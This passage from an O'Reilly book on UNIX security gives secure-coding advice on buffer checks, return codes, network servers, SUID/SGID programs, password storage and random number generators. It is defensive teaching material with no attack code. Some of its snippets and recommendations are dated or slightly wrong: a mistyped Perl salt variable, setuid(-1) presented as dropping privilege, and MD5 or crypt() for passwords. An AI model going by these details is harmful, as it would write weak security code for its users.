  • The two lowest failure rates in the study were the Free Software Foundation's GNU utilities (failure rate of 7%) and the utilities included with the freely distributed Linux version of the UNIX operating system (failure rate 9%).[4] Interestingly enough, the Free Software Foundation has strict coding rules that forbid the use of fixed-length buffers. (Miller et al failed to note that many of the Linux utilities were repackaged GNU utilities.)

    [4] We don't believe that 7% is an acceptable failure rate, either.

There were a few bright points in the 1995 paper. Most notable was the fact that Miller et al. were unable to crash any UNIX network server. The group was also unable to crash any X Windows server.

On the other hand, the group discovered that many X clients will readily crash when fed random streams of data. Others will lock up - and in the process, freeze the X server until the programs are terminated.

23.1.2.2 Where's the beef?

Many of the errors that Miller's group discovered result from common programming mistakes with the C programming language - programmers who wrote clumsy or confusing code that did the wrong things; programers who neglected to check for array boundary conditions; and programmers who assumed that their char variables were unsigned, when in fact they are signed.

While these errors can certainly cause programs to crash when they are fed random streams of data, these errors are exactly the kinds of problems that can be exploited by carefully crafted streams of data to achieve malicious results. Think back to the Internet Worm: if attacked by the Miller Fuzz program, the original fingerd program would have crashed. But when presented with the carefully crafted stream that was present in the Morris Worm, the program gave its attacker a root shell!

What is somewhat frightening about the study is that the tests employed by Miller's group are among the least comprehensive known to testers - random, black-box testing. Different patterns of input could possibly cause more programs to fail. Inputs made under different environmental circumstances could also lead to abnormal behavior. Other testing methods could expose these problems where random testing, by its very nature, would not.

Miller's group also found that use of several commercially available tools enabled them to discover errors and perform other tests, including discovery of buffer overruns and related memory errors. These tools are readily available; however, vendors are apparently not using them.

Why don't vendors care more about quality? Well, according to many of them, they do care, but quality does not sell. Writing good code and testing it carefully is not a quick or simple task. It requires extra effort, and extra time. The extra time spent on ensuring quality will result in increased cost. To date, few customers (possibly including you, gentle reader) have indicated a willingness to pay extra for better-quality software. Vendors have thus put their efforts into what customers are willing to buy, such as new features. Although we believe that most vendors could do a better job in this respect (and some could do a much better job), we must be fair and point the finger at the user population, too.

In some sense, any program you write might fare as well as vendor-supplied software. However, that isn't good enough if the program is running in a sensitive role and might be abused. Therefore, you must practice good coding habits, and pay special attention to common trouble spots.

Previous: 22.6 Writing Your Own Wrappers | Practical UNIX & Internet Security | Next: 23.2 Tips on Avoiding Security-related Bugs
22.6 Writing Your Own Wrappers | Book Index | 23.2 Tips on Avoiding Security-related Bugs


[Chapter 23] 23.2 Tips on Avoiding Security-related Bugs

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 23.1 One Bug Can Ruin Your Whole Day... Chapter 23
Writing Secure SUID and Network Programs 		Next: 23.3 Tips on Writing Network Programs

23.2 Tips on Avoiding Security-related Bugs

Software engineers define errors as mistakes made by humans when designing and coding software. Faults are manifestations of errors in programs that may result in failures. Failures are deviations from program specifications. In common usage, faults are called bugs.

Why do we bother to explain these formal terms? For three reasons:

  1. To remind you that although bugs (faults) may be present in the code, they aren't necessarily a problem until they trigger a failure. Testing is designed to trigger such a failure before the program becomes operational...and results in damage.

  2. Bugs don't suddenly appear in code. They are there because some person made a mistake - from ignorance, from haste, from carelessness, or for some other reason. Ultimately, unintentional flaws that allow someone to compromise your system are caused by people who made errors.

  3. Almost every piece of UNIX software has been developed without comprehensive specifications. As a result, you cannot easily tell when a program has actually failed. Indeed, what appears to be a bug to users of the program might be a feature that was intentionally planned by the program's authors.[5]

    [5] "It's not a bug, it's a feature!"

When you write a program that will run as superuser or in some other critical context, you must try to make the program as bug free as possible because a bug in a program that runs as superuser can leave your entire computer system wide open.

Of course, no program can be guaranteed perfect. A library routine can be faulty, or a stray gamma ray may flip a bit in memory to cause your program to misbehave. Nevertheless, there are a variety of techniques that you can employ when writing programs that will tend to minimize the security implications of any bugs that may be present. You can also program defensively to try to counter any problems that you can't anticipate now.

Here are some general rules to code by:

  1. Carefully design the program before you start.

    Be certain that you understand what you are trying to build. Carefully consider the environment in which it will run, the input and output behavior, files used, arguments recognized, signals caught, and other aspects of behavior. Try to list all of the errors that might occur, and how you will deal with them. Consider writing a specification document for the code. If you can't or won't do that, at least consider writing documentation including a complete manual page before you write any code. That can serve as a valuable exercise to focus your thoughts on the code and its intended behavior.

  2. Check all of your arguments.

    An astonishing number of security-related bugs arise because an attacker sends an unexpected argument or an argument with unanticipated format to a program or a function within a program. A simple way to avoid these kinds of problems is by having your program always check all of its arguments. Argument checking will not noticeably slow down most programs, but it will make them less susceptible to hostile users. As an added benefit, argument checking and error reporting will make the process of catching non-security-related bugs easier.

    When you are checking arguments in your program, pay extra attention to the following:

    • Check arguments passed to your program on the command line. Check to make sure that each command-line argument is properly formed and bounded.

    • Check arguments that you pass to UNIX system functions. Even though your program is calling the system function, you should check the arguments to be sure that they are what you expect them to be. For example, if you think that your program is opening a file in the current directory, you might want to use the index( ) function to see if the filename contains a slash character (/). If the file does contain the slash, and it shouldn't, the program should not open the file.

    • Check arguments passed in environment variables to your program, including general environment variables and such variables as the LESS argument.

    • Do bounds checking on every variable. If you only define an option as valid from 1 to 5, be sure that no one tries to set it to 0, 6, -1, 32767, or 32768. If string arguments are supposed to be 16 bytes or less, check the length before you copy them into a local buffer (and don't forget the room required for the terminating null byte). If you are supposed to have three arguments, be sure you got three.

  3. Don't use routines that fail to check buffer boundaries when manipulating strings of arbitrary length.

    In the C programming language particularly, note the following:

    Avoid

    Use Instead

    gets()

    fget()

    strcpy()

    strncpy()

    strcat()

    strncat()

    Use the following library calls with great care - they can overflow either a destination buffer or an internal, static buffer on some systems if the input is "cooked" to do so: [6] sprintf( ), fscanf( ), scanf( ), sscanf( ), vsprintf( ), realpath( ), getopt( ), getpass( ), streadd( ), strecpy( ), and strtrns( ). Check to make sure that you have the version of the syslog() library which checks the length of its arguments.

    [6] Not all of these will be available under every version of UNIX.

    There may be other routines in libraries on your system of which you should be somewhat cautious. Note carefully if a copy or transformation is performed into a string argument without benefit of a length parameter to delimit it. Also note if the documentation for a function says that the routine returns a pointer to a result in static storage. If an attacker can provide the necessary input to overflow these buffers, you may have a major problem.

  4. Check all return codes from system calls.

    The UNIX operating system has almost every single system call provide a return code. Even system calls that you think cannot fail, such as write(), chdir(), or chown(), can fail under exceptional circumstances and return appropriate return codes.

    When Good Calls Fail

    You may not believe that system calls can fail for a program that is running as root. For instance, you might not believe that a chdir() call could fail, as root has permission to change into any directory. However, if the directory in question is mounted via NFS, root has no special privileges. The directory might not exist, again causing the chdir() call to fail. If the target program is started in the wrong directory and you fail to check the return codes, the results will not be what you expected when you wrote the code.

    Or consider the open() call. It can fail for root, too. For example, you can't open a file on a CD-ROM for writing, because CD-ROM is a read-only media. Or consider someone creating several thousand zero-length files to use up all the inodes on the disk. Even root can't create a file if all the fre inodes are gone.

    The fork($a) system call may fail if the process table is full, exec() may fail if the swap space is exhausted, and sbrk() (the call which allocates memory for malloc( )) may fail if a process has already allocated the maximum amount of memory allowed by process limits. An attacker can easily arrange for these cases to occur. The difference between a safe and an unsafe program may be how that program deals with these situations.

    If you don't like to type explicit checks for each call, then consider writing a set of macros to "wrap" the calls and do it for you. You will need one macro for calls that return -1 on failure, and another for calls that return 0 on failure.

    Here are some macros that you may find helpful:

    #include <assert.h>
#define Call0(s) assert((s) != 0)
#define Call1(s) assert((s) >= 0)

    Here is how to use them:

    Call0(fd =open("foo", O_RDWR, 0666));

    Note, however, that these simply cause the program to terminate without any cleanup. You may prefer to change the macros to call some common routine first to do cleanup and logging.

    When the calls fail, check the errno variable to determine why they failed. Have your program log the unexpected value and then cleanly terminate if the system call fails for any unexpected reason. This approach will be a great help in tracking down problems later on.

    If you think that a system call should not fail and it does, do something appropriate. If you can't think of anything appropriate to do, then have your program delete all of its temporary files and exit.

  5. Don't design your program to depend on UNIX environment variables.

    The simplest way to write a secure program is to make absolutely no assumptions about your environment and to set everything explicitly (e.g. signals, umask, current directory, environment variables). A common way of attacking programs is to make changes in the runtime environment that the programmer did not anticipate.

    Thus, you want to make certain that your program environment is in a known state. Here are some of the things you want to do:

    • If you absolutely must pass information to the program in its environment, then have your program test for the necessary environment variables and then erase the environment completely.

    • Otherwise, wipe the environment clean of all but the most essential variables. On most systems, this is the TZ variable that specifies the local time zone, and possibly some variables to indicate locale. Cleaning the environment avoids any possible interactions between it and the UNIX system libraries.

    • You might also consider constructing a new envp and passing that to exec(), rather than using even a scrubbed original envp. Doing so is safer because you explicitly create the environment rather than trying to clean it.

    • Make sure that the file descriptors that you expect to be open are open, and that the file descriptors you expect to be closed are closed.

    • Ensure that your signals are set to a sensible state.

    • Set your umask appropriately.

    • Explicitly chdir() to an appropriate directory when the program starts.

    • Set whatever limit values are necessary so that your program will not leave a core file if it fails. Consider setting your other limits on number of files and stack size to appropriate values if they might not be appropriate at program start.

  6. Have internal consistency-checking code.

    Use the assert macro if you are programming in C. If you have a variable that you know should either be a 1 or a 2, then your program should not be running if the variable is anything else.

  7. Include lots of logging.

    You are almost always better having too much logging rather than too little. Report your log information into a dedicated log file. Or, consider using the syslog facility, so that logs can be redirected to users or files, piped to programs, and/or sent to other machines. And remember to do bounds checking on arguments passed to syslog() to avoid buffer overflows.

    Here is specific information that you might wish to log:

    • The time that the program was run.

    • The UID and effective UID of the process.

    • The GID and effective GID of the process.

    • The terminal from which it was run.

    • The process number (PID).

    • Command-line arguments.

    • Invalid arguments, or failures in consistency checking.

    • The host from which the request came (in the case of network servers).

  8. Make the critical portion of your program as small and as simple as possible.

  9. Read through your code.

    Think of how you might attack it yourself. What happens if the program gets unexpected input? What happens if you are able to delay the program between two system calls?

  10. Always use full pathnames for any filename argument, for both commands and data files.

  11. Check anything supplied by the user for shell meta characters if the user-supplied input is passed on to another program, written into a file, or used as a filename. In general, checking for good characters is safer than checking for a set of "bad characters" and is not that restrictive in most situations.

  12. Examine your code and test it carefully for assumptions about the operating environments. For example:

    • If you assume that the program is always run by somebody who is not root, what happens if the program is run by root? (Many programs designed to be run as daemon or bin can cause security problems when run as root, for instance.)

    • If you assume that it will be run by root, what happens if it is not run as root?

    • If you assume that a program always runs in the /tmp or /tmp/root [7] directory, what happens if it is run somewhere else?

      [7] We use /tmp/root, with the understanding that youhave a directory /tmp/root automatically created by your start-up scripts, and that this directory has a mode of 0700. Your /tmp directory should have mode 1777, which prevents ordinary users from deleting the /tmp/root directory.

  13. Make good use of available tools.

    If you are using C and have an ANSI C compiler available, use it, and use prototypes for calls. If you don't have an ANSI C compiler, then be sure to use the -Wall option to your C compiler (if supported) or the lint program to check for common mistakes.

  14. Test your program thoroughly.

    If you have a system based on SVR4, consider using (at the least) tcov, a statement-coverage tester. Consider using commercial products, such as CodeCenter and Purify (from personal experience, we can tell you that these programs are very useful). Look into GCT, a test tool developed by Brian Marick at the University of Illinois.[8] Remember that finding a bug in testing is better than letting some anonymous system cracker find it for you!

    [8] Available for FTP from ftp.cs.uiuc.edu.

  15. Be aware of race conditions. These can be manifest as a deadlock, or as failure of two calls to execute in close sequence.

    • Deadlock conditions. Remember: more than one copy of your program may be running at the same time. Consider using file locking for any files that you modify. Provide a way to recover the locks in the event that the program crashes while a lock is held. Avoid deadlocks or "deadly embraces," which can occur when one program attempts to lock file A then file B, while another program already holds a lock for file B and then attempts to lock file A.

    • Sequence conditions . Be aware that your program does not execute atomically. That is, the program can be interrupted between any two operations to let another program run for a while - including one that is trying to abuse yours. Thus, check your code carefully for any pair of operations that might fail if arbitrary code is executed between them.

      In particular, when you are performing a series of operations on a file, such as changing its owner, stat'ing the file, or changing its mode, first open the file and then use the fchown(), fstat(), or fchmod() system calls. Doing so will prevent the file from being replaced while your program is running (a possible race condition). Also avoid the use of the access() function to determine your ability to access a file: Using the access() function followed by an open() is a race condition, and almost always a bug.

  16. Don't have your program dump core except during your testing.

    Core files can fill up a filesystem. Core files can contain confidential information. In some cases, an attacker can actually use the fact that a program dumps core to break into a system. Instead of dumping core, have your program log the appropriate problem and exit. Use the setrlimit() function to limit the size of the core file to 0.

  17. Do not provide shell escapes (with job control, they are no longer needed).

  18. Never use system() or popen() calls.

    Both invoke the shell, and can have unexpected results when they are passed arguments with funny characters, or in cases in which environment variables have peculiar definitions.

  19. If you are expecting to create a new file with the open call, then use the O_EXCL | O_CREAT flags to cause the routine to fail if the file exists.

    If you expect the file to be there, be sure to omit the O_CREAT flag so that the routine will fail if the file is not there.[9]

    [9] Note that on some systems, if the pathname in the open call refers to a symbolic link that names a file that does not exist, the call may not behave as you expect. This scenario should be tested on your system so you know what to expect.

  20. If you think that a file should be a file, use lstat() to make sure that it is not a link.

    However, remember that what you check may change before you can get around to opening it if it is in a public directory. (See item )

  21. If you need to create a temporary file, consider using the tmpfile( ) or mktemp( ) function.

    This step will create a temporary file, open the file, delete the file, and return a file handle. The open file can be passed to a subprocess created with fork( ) and exec( ), but the contents of the file cannot be read by any other program on the system. The space associated with the file will automatically be returned to the operating system when your program exits. If possible, create the temporary file in a closed directory, such as /tmp/root/.

    NOTE: The mktemp() library call is not safe to use in a program that is running with extra privilege. The code as provided on most versions of UNIX has a race condition between a file test and a file open. This condition is a well-known problem, and relatively easy to exploit. Avoid the standard mktemp() call.

  22. Do not create files in world-writable directories.

  23. Have your code reviewed by another competent programmer (or two, or more).

    After they have reviewed it, "walk through" the code with them and explain what each part does. We have found that such reviews are a surefire way to discover logic errors. Trying to explain why something is done a certain way often results in an exclamation of "Wait a moment ...why did I do that?"

  24. If you need to use a shell as part of your program, don't use the C shell.

    Many versions have known flaws that can be exploited, and nearly every version performs an implicit eval $TERM on start-up, enabling all sorts of attacks. Furthermore, the C shell makes it difficult to do things that you may want to do, such as capture error output to another file or pipe.

    We recommend the use of ksh93 (used for most of the shell scripts in this book). It is well designed, fast, powerful, and well documented (see Appendix D).

Remember, many security bugs are actually programming bugs, which is good news for programmers. When you make your program more secure, you'll simultaneously be making it more reliable.

Previous: 23.1 One Bug Can Ruin Your Whole Day... | Practical UNIX & Internet Security | Next: 23.3 Tips on Writing Network Programs
23.1 One Bug Can Ruin Your Whole Day... | Book Index | 23.3 Tips on Writing Network Programs


[Chapter 23] 23.3 Tips on Writing Network Programs

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 23.2 Tips on Avoiding Security-related Bugs Chapter 23
Writing Secure SUID and Network Programs 		Next: 23.4 Tips on Writing SUID/SGID Programs

23.3 Tips on Writing Network Programs

If you are coding a new network service, there are also a number of pitfalls to consider. This is a partial list of concerns and advice for writing more secure network code:

  1. Don't make any hard-coded assumptions about service port numbers.

    Use the library getservbyname() and related calls, plus system include files, to get important values. Remember that sometimes constants aren't constant.

  2. Don't place undue reliance on the fact that any incoming packets are from (or claim to be from) a low-numbered, privileged port.

    Any PC can send from those ports, and forged packets can claim to be from any port.

  3. Don't place undue reliance on the source IP address in the packets of connections you received. Such items may be forged or altered.

  4. Do a reverse lookup on connections when you need a hostname for any reason.

    After you have obtained a hostname to go with the IP address you have, do another lookup on that hostname to ensure that its IP address matches what you have.

  5. Include some form of load shedding or load limiting in your server to handle cases of excessive load.

    Consider what should happen if someone makes a concerted effort to direct a denial of service attack against your server. For example, you may wish to have a server stop processing incoming requests if the load goes over some predefined value.

  6. Put reasonable time-outs on each network-oriented read request.

    A remote server that does not respond quickly may be common, but one that does not respond for days may hang up your code awaiting a reply. This rule is especially important in TCP-based servers that may continue attempting delivery indefinitely.

  7. Put reasonable time-outs on each network write request.

    If some remote server accepts the first few bytes and then blocks indefinitely, you do not want it to lock up your code awaiting completion.

  8. Make no assumptions about the content of input data, no matter what the source is.

    For instance, do not assume that input is null-terminated, contains linefeeds, or is even in standard ASCII format. Your program should behave in a defined manner if it receives random binary data as well as expected input.

  9. Make no assumptions about the amount of input sent by the remote machine.

    Put in bounds checking on individual items read, and on the total amount of data read (see the sidebar for one reason why).

    Getting More Than You Expected

    You must ensure that your programs, whether they run locally or over a network, properly handle extended and ill-defined input. We illustrate this point with an edited retelling of an anecdote related to one of us by Tsutomu Shimomura.

    One day, Shimomura noticed that a certain Department of Energy FTP server machine was set to finger any machine from which it received an anonymous FTP request. This bothered Shimomura a little, as anonymous FTP is more or less as the name implies. Why should the administrators of that site care? If who was on the machines connecting to theirs mattered, they shouldn't have put up anonymous FTP.

    This also piqued Shimomura's scientific curiosity, however. Were they using standard finger? He modified his local inetd configuration to point incoming finger requests to his character generator (chargen). He then connected to the remote FTP server and logged out again.

    Over the next few hours, Shimomura's machine shipped tens of megabytes of characters to the remote site. Eventually, late at night, the connection was broken. The remote machine no longer answered any network requests and appeared to have disappeared from the network. When it reappeared the next morning, the automatic finger-of-machines connection for FTP was no longer present.

    The moral of this little story is that if you are going to ask for something, be sure that you are able to handle anything that you might get.

  10. Consider doing a call to the authd service on the remote site to identify the putative source of the connection.

    However, remember not to place too much trust in the response.

  11. Do not require the user to send a reusable password in cleartext over the network connection to authenticate himself.

    Either use one-time passwords, or some shared, secret method of authentication that does not require sending compromisable information across the network.

    For instance, the APOP protocol used in the POP mail service has the server send the client a unique character string, usually including the current date and time.[10] The client then hashes the timestamp together with the user's password. The result is sent back to the server. The server also has the password and performs the same operation to determine if there is a match. The password is never transmitted across the network. This approach is described further in the discussion of POP in Chapter 17, TCP/IP Services.

    [10] This string is usually referred to as a nonce.

  12. Consider adding some form of session encryption to prevent eavesdropping and foil session hijacking.

    But don't try writing your own cryptography functions; see Chapter 6, Cryptography, for algorithms that are known to be strong.

  13. Build in support to use a proxy.

    Consider using SOCKS, described in Chapter 22, Wrappers and Proxies) so that the code is firewall friendly.

  14. Make sure that good logging is performed.

    This includes logging connections, disconnects, rejected connections, detected errors, and format problems.

  15. Build in a graceful shutdown so that the system operator can signal the program to shut down and clean up sensitive materials.

    Usually, this process means trapping the TERM signal and cleaning up afterwards.

  16. Consider programming a "heartbeat" log function in servers that can be enabled dynamically.

    This function will periodically log a message indicating that the server was still active and working correctly, and possibly record some cumulative activity statistics.

  17. Build in some self recognition or locking to prevent more than one copy of a server from running at a time.

    Sometimes, services are accidentally restarted, which may lead to race conditions and the destruction of logs if it's not recognized and stopped early.

Previous: 23.2 Tips on Avoiding Security-related Bugs | Practical UNIX & Internet Security | Next: 23.4 Tips on Writing SUID/SGID Programs
23.2 Tips on Avoiding Security-related Bugs | Book Index | 23.4 Tips on Writing SUID/SGID Programs


[Chapter 23] 23.4 Tips on Writing SUID/SGID Programs

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 23.3 Tips on Writing Network Programs Chapter 23
Writing Secure SUID and Network Programs 		Next: 23.5 Tips on Using Passwords

23.4 Tips on Writing SUID/SGID Programs

If you are writing programs that are SUID or SGID, you must take added precautions in your programming. An overwhelming number of UNIX security problems have been caused by SUID/SGID programs. These rules should be considered in addition to the previous list.

Here are some rules for writing (and not writing) SUID/SGID programs:

  1. "Don't do it. Most of the time, it's not necessary."[11]

    [11] Thanks to Patrick H. Wood and Stephen G. Kochan, UNIX System Security, Hayden Books, 1985, for this insightful remark.

  2. Avoid writing SUID shell scripts.

  3. If you are using SUID to access a special set of files, don't.

    Instead, create a special group for your files and make the program SGID to that group. If you must use SUID, create a special user for the purpose.

  4. If your program needs to perform some functions as superuser, but generally does not require SUID permissions, consider putting the SUID part in a different program, and constructing a carefully controlled and monitored interface between the two.

  5. If you need SUID or SGID permissions, use them for their intended purpose as early in the program as possible, and then revoke them by returning the effective, and real, UIDS and GIDS to those of the process that invoked the program.

  6. If you have a program that absolutely must run as SUID, try to avoid equipping the program with a general-purpose interface that allows users to specify much in the way of commands or options.

  7. Erase the execution environment, if at all possible, and start fresh.

    Many security problems have been caused because there was a significant difference between the environment in which the program was run by an attacker and the environment under which the program was developed. (See item 5 under Section 23.2, "Tips on Avoiding Security-related Bugs" earlier in this chapter for more information about this suggestion.)

  8. If your program must spawn processes, use only the execve( ), execv( ), or execl( ) calls, and use them with great care.

    Avoid the execlp( ) and execvp( ) calls because they use the PATH environment variable to find an executable, and you might not run what you think you are running.

  9. If you must provide a shell escape, be sure to setgid(getgid( )) and setuid(getuid( )) before executing the user's command.

  10. In general, use the setuid() and setgid() functions to bracket the sections of your code which require superuser privileges. For example:

    setuid(0);				/* Become superuser to open the master file */
fd = open("/etc/masterfile",O_RDONLY);
setuid(-1);				/* Give up superuser for now */
if(fd<0) error_open();	/* Handle errors */

Not all versions of UNIX allow you to switch UIDS like this; however, most modern versions do.

  1. If you must use pipes or subshells, be especially careful with the environment variables PATH and IFS.

    If at all possible, erase these variables and set them to safe values. For example:

    putenv("PATH=/bin:/usr/bin:/usr/ucb");
putenv("IFS= \t\n");

    Then, examine the environment to be certain that there is only one instance of the variable: the one you set. An attacker can run your code from another program that creates multiple instances of an environment variable. Without an explicit check, you may find the first instance, but not the others; such a situation could result in problems later on. In particular, step through the elements of the environment yourself rather than depending on the library getenv() function.

  2. Use the full pathname for all files that you open.

    Do not make any assumptions about the current directory. (You can enforce this requirement by doing a chdir(/tmp/root/)as one of the first steps in your program, but be sure to check the return code!)

  3. Consider statically linking your program, if possible.

    If a user can substitute a different module in a dynamic library, even carefully coded programs are vulnerable. (We have some serious misgivings about the trend in commercial systems towards completely shared, dynamic libraries. See our comments in the section Chapter 11, Protecting Against Programmed Threats.)

  4. Consider using perl -T or taintperl for your SUID programs and scripts.

    Perl's tainting features make it more suited to SUID programming than C. For example, taintperl will insist that you set the PATH environment variable to a known "safe value" before calling system(). The program will also require that you "untaint" any variable that is input from the user before using it (or any variable dependent on that variable) as an argument for opening a file.

    However, note that you can still get yourself in a great deal of trouble with taintperl if you circumvent its checks or you are careless in writing code. Also note that using taintperl introduces dependence on another large body of code working correctly: we'd suggest you skip using taintperl if you believe you can code at least as well as Larry Wall.[12]

    [12] Hint: if you think you can, you are probably wrong.

23.4.1 Using chroot()

If you are writing a SUID root program, you can enhance its security by using the chroot() system call. The chroot() call changes the root directory of a process to a specified subdirectory within your filesystem. This change essentially gives the calling process a private world from which it cannot escape.

For example, if you have a program which only needs to listen to the network and write into a log file that is stored in the directory /usr/local/logs, then you could execute the following system call to restrict the program to that directory:

chroot("/usr/local/logs");

There are several issues that you must be aware of when using the chroot() system call that are not immediately obvious:

  1. If your operating system supports shared libraries and you are able to statically link your program, you should be sure that your program is statically linked. On some systems, static linking is not possible. On these systems, you should make certain that the necessary shared libraries are available within the restricted directory (as copies).

  2. You should not give users write access to the chroot()'ed directory.

  3. If you intend to log with syslog(), you should call the openlog() function before executing the chroot() system call, or make sure that a /dev/log device file exists within the chroot() directory.

Note that under some versions of UNIX, a user with a root shell and the ability to copy compiled code into the chroot'd environment may be able to "break out." Thus, don't put all your faith in this mechanism.

Previous: 23.3 Tips on Writing Network Programs | Practical UNIX & Internet Security | Next: 23.5 Tips on Using Passwords
23.3 Tips on Writing Network Programs | Book Index | 23.5 Tips on Using Passwords


[Chapter 23] 23.5 Tips on Using Passwords

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 23.4 Tips on Writing SUID/SGID Programs Chapter 23
Writing Secure SUID and Network Programs 		Next: 23.6 Tips on Generating Random Numbers

23.5 Tips on Using Passwords

Lots of computer programs use passwords for user authentication. Beyond the standard UNIX password, users soon find that they have passwords for special electronic mail accounts, special accounting programs, and even fantasy role-playing games.

Few users are good at memorizing passwords, and there is a great temptation to use a single password for all uses. This is a bad idea. Users should be encouraged to not type their login password into some MUD that's running over at the local university, for example.

As a programmer, there are several steps that you can take in programs that ask for passwords to make the process more secure:

  1. Don't echo the password as the user types it.

    Normally, UNIX turns off echo when people type passwords. You can do this yourself by using the getpass() function. In recent years, however, a trend has evolved to echo asterisks (*) for each character of the password typed. This provides some help for the person typing the password to see if they have made a mistake in their typing, but it also enables somebody looking over the user's shoulders to see how many characters are in the password.

  2. When you store the user's password on the computer, encrypt it.

    If nothing else, use the crypt() library function. Use random numbers to choose the password's salt. When the user provides a password, check to see if it is the original password by encrypting the provided password with the same salt.

    For example, the following bit of a simple Perl code takes a password in the $password variable, generates a random salt, and places an encrypted password in the variable $encrypted_password:

    $salts="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789./";
srand(time);
local($s1) = rand(64);
local($s2) = rand(64);
$salt = substr($salts,$s1,1) . substr($salts,$s2,1);
$encrypted_password= crypt($password,&salt)

    You can then check to see if a newly provided password is in fact the encrypted password with this simple Perl fragment:

    if($encrypted_password eq
  crypt($new_password, $encrypted_password){
  print "password matched.\n";}

  3. If you need access to crypt() from a shell script, consider using /usr/lib/makekey, which provides much the same functionality.

23.5.1 Use Message Digests for Storing Passwords

Instead of using the crypt() function to store an encrypted password, consider using a cryptographic hash function such as MD5. Using a cryptographic hash allows the user to type a password (or, properly, a passphrase) of any length.

This technique is the one that PGP uses for encrypting files with "conventional cryptography," as well as for encrypting the secret key that is stored on your hard disk. When you type in a passphrase, this phrase is processed with the MD5 message digest algorithm (described in Chapter 6). The resulting 128-bit hash is used as the key for the IDEA encryption algorithm.

If you need to be able to verify a password, but you do not need an encryption key, you can store the MD5 hash. When you need to verify the user's password, take the new value entered by the user, compute the value's MD5, and see if the new MD5 matches the stored value.

As with the crypt() function, you can include a random salt with the passphrase. If you do so, you must record the salt with the saved MD5 and use it whenever you wish to verify the user's password.

The primary benefit to using a cryptographic hash value is that it takes whatever input the user types as the password, no matter how long that output might be. [13] This may encourage users to type longer passwords or passphrases that will be resistant to dictionary attacks. You might also remind them of this practice when you prompt them for new passwords.

[13] But remember to check for buffer overflow when reading the password.

Previous: 23.4 Tips on Writing SUID/SGID Programs | Practical UNIX & Internet Security | Next: 23.6 Tips on Generating Random Numbers
23.4 Tips on Writing SUID/SGID Programs | Book Index | 23.6 Tips on Generating Random Numbers


[Chapter 23] 23.6 Tips on Generating Random Numbers

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 23.5 Tips on Using Passwords Chapter 23
Writing Secure SUID and Network Programs 		Next: 23.7 UNIX Pseudo-Random Functions

23.6 Tips on Generating Random Numbers

Random numbers play an important role in modern computer security. Many programs that use encryption need a good source of random numbers for producing session keys. For example, the PGP program uses random numbers for generating a random key which is used to encrypt the contents of electronic mail messages; the random key is then itself encrypted using the recipient's public key.

Random numbers have other uses in computer security as well. A variety of authentication protocols require that the computer create a random number, encrypt it, and send it to the user. The user must then decrypt the number, perform a mathematical operation on it, re-encrypt the number, and send it back to the computer.

A great deal is known about random numbers. Here are some general rules of thumb:

  1. If a number is random, then each bit of that number should have an equal probability of being a 0 or a 1.

  2. If a number is random, then after each 0 in that number there should be an equal proba- bility that the following bit is a 0 or a 1. Likewise, after each 1 there should be an equal probability that the following bit is a 0 or a 1.

  3. If the number has a large number of bits, then roughly half of the number's bits should be 0s, and half of the bits should be 1s.

For security-related purposes, a further requirement for random numbers is unpredictability:

  1. It should not be possible to predict the output of the random number generator given previous outputs or other knowledge about the computer generating the random numbers.

  2. It should not be possible to determine the internal state of the random number generator.

  3. It should not be possible to replicate the initial state of the random number generator, or to reseed the generator with the same initial value.

One of the best ways of generating a stream of random numbers is to make use of a random process, such as radioactive decay. Unfortunately, most UNIX computers are not equipped with Geiger counters. Thus, they need to use something else. Often, they use pseudorandom functions as random number generators.

A pseudorandom function is a function that yields a series of outputs which appears to be unpredictable. In practice, these functions maintain a large internal state from which the output is calculated. Each time a new number is generated, the internal state is changed. The function's initial state is referred to as its seed.

If you need a series of random numbers that is repeatable, you need a pseudorandom generator that takes a seed and keeps an internal state. If you need a non-reproducible series of random numbers, you should avoid pseudo- random generators. Thus, successfully picking random numbers in the UNIX environment depends on two things: picking the right random number generator, and then picking a different seed each time the program is run.

Previous: 23.5 Tips on Using Passwords | Practical UNIX & Internet Security | Next: 23.7 UNIX Pseudo-Random Functions
23.5 Tips on Using Passwords | Book Index | 23.7 UNIX Pseudo-Random Functions


[Chapter 23] 23.7 UNIX Pseudo-Random Functions

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 23.6 Tips on Generating Random Numbers Chapter 23
Writing Secure SUID and Network Programs 		Next: 23.8 Picking a Random Seed

23.7 UNIX Pseudo-Random Functions

The standard UNIX C library provides two random number generators: rand( ) and random( ). A third random number generator, drand48( ), is available on some versions of UNIX. Although you won't want to use any of these routines to produce cryptographic random numbers, we'll briefly explain each. Then, if you need to use one of them for something else, you'll know something about its strengths and shortcomings.

23.7.1 rand ( )

The original UNIX random number generator, rand( ), is not a very good random number generator. It uses a 32-bit seed and maintains a 32-bit internal state. The output of the function is also 32 bits in length, making it a simple matter to determine the function's internal state by examining the output. As a result, rand( ) is not very random. Furthermore, the low-order bits of some implementations are not random at all, but flip back and forth between 0 and 1 according to a regular pattern. The rand( ) random number generator is seeded with the function srand( ). On some versions of UNIX, a third function is provided, rand_r( ), for multi threaded applications. (The function rand( ) itself is not safe for multi- threading, as it maintains internal state.)

Do not use rand( ), even for simple statistical purposes.

23.7.2 random ( )

The function random( ) is a more sophisticated random number generator which uses nonlinear feedback and an internal table that is 124 bytes (992 bits) long. The function returns random values that are 32 bits in length. All of the bits generated by random( ) are usable.

The random( ) function is adequate for simulations and games, but should not be used for security related applications such as picking cryptographic keys or simulating one- time pads.

23.7.3 drand48 ( ), lrand48 ( ), and mrand48 ( )

The function drand48( ) is one of many functions which make up the System V random number generator. According to the Solaris documen- tation, the algorithm uses "the well-known linear congruential algorithm and 48-bit integer arithmetic." The function drand48( ) returns a double-precision number that is greater or equal to 0.0 and less than 1.0, while the lrand48( ) and mrand48( ) functions return random numbers within a specified integer range. As with random( ), these functions provide excellent random numbers for simulations and games, but should not be used for security-related applications such as picking cryptographic keys or simulating one-time pads; linear congruential algorithms are too easy to break.

23.7.4 Other random number generators

There are many other random number generators. Some of them are optimized for speed, while others are optimized for randomness. You can find a list of other random number generators in Bruce Schneier's excellent book, Applied Cryptography (John Wiley & Sons, Second Edition, 1995).

